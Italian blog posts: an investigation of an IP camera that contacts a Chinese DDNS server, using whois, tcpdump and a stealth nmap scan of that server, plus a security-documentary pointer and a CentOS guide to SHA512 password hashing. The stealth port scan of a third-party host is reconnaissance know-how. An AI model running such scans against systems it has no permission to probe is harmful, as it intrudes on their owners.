Dec 10 14:16:43 nightbox kernel: [3095642.083772] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=26619 DF PROTO=TCP SPT=4724 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0

In soldoni, ogni 6 minuti (per un certo lasso di tempo), il giocattolino in questione provava a contattare l’IP 58.61.155.158 sulla porta 80. Per far cosa, poi?

Per capirci qualcosa in più ho deciso di effettuare una query DNS inversa mediante il comando host:

nightfly@nightbox:~$ host 58.61.155.158
Host 158.155.61.58.in-addr.arpa. not found: 3(NXDOMAIN)

Uhm, not found, brutto segno. Quindi ho eseguito un whois:

nightfly@nightbox:~$ whois 58.61.155.158
% [whois.apnic.net node-4]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        58.61.155.152 - 58.61.155.167
netname:        shenzhenshirongdaxinxijishuyoux
descr:          shenzhenshilonggangqubujizhenbaolinglonggangdianxinfenjuIDCjifang¡£
country:        CN
admin-c:        SZ-AP
tech-c:         IC83-AP
mnt-by:         MAINT-CHINANET-GD
changed:        gdtel_ipreg@163.com 20100108
status:         Allocated non-portable
source:         APNIC

person:         SHENZHEN WANJIAN
address:        Communication Bldg, No.48 Yi Tian Rd., Futian Shenzhen, China
country:        CN
phone:          +86-755-28812000
e-mail:         ipadm@gddc.com.cn
remarks:        IPMASTER is not for spam complaint,please send spam complaint to abuse@gddc.com.cn
nic-hdl:        SZ-AP
mnt-by:         MAINT-CHINANET-GD
changed:        CHENYIQ@GSTA.COM 20080328
source:         APNIC

person:         IPMASTER CHINANET-GD
nic-hdl:        IC83-AP
e-mail:         ipadm@189.cn
address:        NO.1,RO.DONGYUANHENG,YUEXIUNAN,GUANGZHOU
phone:          +86-20-83877223
fax-no:         +86-20-83877223
country:        CN
changed:        ipadm@189.cn 20110418
mnt-by:         MAINT-CHINANET-GD
remarks:        IPMASTER is not for spam complaint,please send spam complaint to abuse_gdnoc@189.cn
abuse-mailbox:  abuse_gdnoc@189.cn
source:         APNIC

Ok, in realtà stava contattando un server cinese. Un portscan stealth mi ha restituito questo output:

nightfly@nightbox:/etc/apache2$ sudo nmap -sS 58.61.155.158

Starting Nmap 5.00 ( http://nmap.org ) at 2012-12-09 20:48 CET
Interesting ports on 58.61.155.158:
Not shown: 992 filtered ports
PORT     STATE  SERVICE
21/tcp   closed ftp
25/tcp   closed smtp
53/tcp   open   domain
80/tcp   open   http
110/tcp  closed pop3
1433/tcp closed ms-sql-s
5631/tcp open   pcanywheredata
8888/tcp open   sun-answerbook

Check veloce sulla porta 80, su cui gira una pagina in ASP (ecco lo screenshot):

ipcamera.png

Quale account non esiste? La pagina di configurazione dell’aggeggio non ha nessun form di registrazione, quindi di cosa stiamo parlando?

Altro check, stavolta sulla 8888:

ipcamera2.png

Porta differente, ma identico risultato.

I fantastici costruttori cinesi hanno pensato bene di mettere in ascolto quel server su due differenti porte, poichè spesso e volentieri la porta 80 in uscita è filtrata (proxy?).

Per andare ancora più a fondo alla questione ho deciso di usare uno sniffer, ovvero tcpdump:

22:30:16.159916 IP google-public-dns-a.google.com.domain > guest1.mialan.org.3076: 797 1/0/0 A 58.61.155.158 (47)
E..K; ../.5m....
....5...7Z..............www.nwsvr.com..............'..:=..
22:30:16.161941 IP 10.1.x.x.3718 > 58.61.155.158.www: Flags [S], seq 1520784463, win 5840, options [mss 1460,sackOK,TS val 464$
E..<..@.@...
...:=.....PZ.TO...................
.F..........

Non sembrava che venissero inviate informazioni sensibili (aka password di account email ed FTP), ma piuttosto sembrava del semplice polling.

Qualcosa di utile tcpdump però l’ha fatto, ovvero mi ha rilevato l’hostname dell’IP 58.61.155.158, ovvero www.nwsvr.com, il cui whois è il seguente:

Registrant:
  Organization   : shenzhenshi hui yan shi xun dian zi you xian gong si
  Name           : LuoYingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenshi
  Province/State : guangdongsheng
  Country        : china
  Postal Code    : 518000

Administrative Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86-755-26988288
  Fax            : 86-755-26988233
  Email          : robbi_luo@163.com

Technical Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86--83333333
  Fax            : 86--83333333
  Email          : robbi_luo@163.com

Billing Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86--83333333
  Fax            : 86--83333333
  Email          : robbi_luo@163.com

Alla fine ho scoperto che si trattava di un servizio di DDNS. Ho spulciato le configurazioni dell’IP camera e mi sono ritrovato questo settaggio abilitato (di default):

 

ipcamera3.png

Ovvero, l’aggeggino non faceva altro che tentare di comunicare al server (cinese) l’indirizzo IP pubblico della mia WAN. E con la privacy come la mettiamo?

Ho tolto la spunta ed il traffico “anomalo” ha cessato di esistere.

Alla prossima.

La sicurezza informatica per newbie

Sicurezza, , , , , , ,

Siete interessati al campo della sicurezza informatica e non sapete da dove iniziare? Provate a guardare questo documentario di Discovery Channel. Il video è suddiviso in 5 parti ed è tratto da Youtube.

Certo, per gli addetti ai lavori può sembrare un po’ troppo “elementare”, ma per tutti coloro che stanno muovendo i primi passi nell’ambito della sicurezza può tornare utile. Infatti, vengono trattati (seppur in modo molto sommario) alcuni concentti fondamentali come la negazione del servizio, ethical hacker, tiger team, penetration test, phreaking, dumpster diving, ecc.

Buona visione.

 

 

 

 

Modificare l’encryption method delle password utente su CentOS

Sicurezza, , , , , , ,

Premessa

In questo blog ho più volte parlato di digest, di algoritmi di cifratura one-way e compagnia bella. Una cosa è chiara: MD5 non è la scelta migliore da fare quando si parla di cifratura delle password. Infatti, la sua naturale evoluzione, ovvero SHA, presenta una maggiore robustezza (aka resistenza debole e forte alle collisioni), dovuta anche alle dimensioni del digest che genera. Proprio per questo motivo, sono solito abilitare sui miei server l’algoritmo SHA512 per la cifratura delle password utente.

sha, md5, one-way, sha512, passwd, shadow, digest, centos

SHA512 su CentOS

Sostituire MD5 con SHA512 su CentOS è sicuramente banale. Il primo step consiste nell’identificare il tipo di cifratura attualmente utilizzato dal nostro sistema:

[root@host ~]# authconfig --test | grep hashing

Se l’output è simile al seguente:

password hashing algorithm is md5

significa che stiamo utilizzando MD5. Per sostituirlo con SHA512 basta digitare (da utente root):

[root@host ~]# authconfig --passalgo=sha512 --update

L’ultimo step consiste nell’aggiornare le password degli utenti. In questo caso potete fare 2 scelte:

1) aggiornare voi le password degli utenti (se le conoscete);

2) richiedere all’utente l’aggiornamento delle password al prossimo login.

Nel primo caso è sufficiente lanciare il comando:

[root@host ~]# passwd <nomeutente>

mentre, per forzare il cambio password da parte dell’utente occorre digitare:

[root@host ~]# chage -d 0 <nomeutente>

Enjoy.